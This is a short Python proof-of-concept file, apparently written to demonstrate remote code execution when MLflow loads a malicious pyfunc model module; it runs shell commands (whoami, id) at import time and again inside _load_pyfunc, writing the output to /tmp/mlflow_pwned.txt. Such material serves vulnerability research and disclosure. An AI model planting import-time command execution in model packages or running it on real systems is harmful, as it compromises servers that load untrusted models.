code/exploit.py

import os

# This runs when importlib.import_module("exploit") is called
# Phase 1: Code execution at import time
rce_proof = os.system("whoami > /tmp/mlflow_pwned.txt && id >> /tmp/mlflow_pwned.txt")

def _load_pyfunc(path):
    # Phase 2: Code execution at _load_pyfunc time
    os.system("echo 'RCE in _load_pyfunc' >> /tmp/mlflow_pwned.txt")
    return None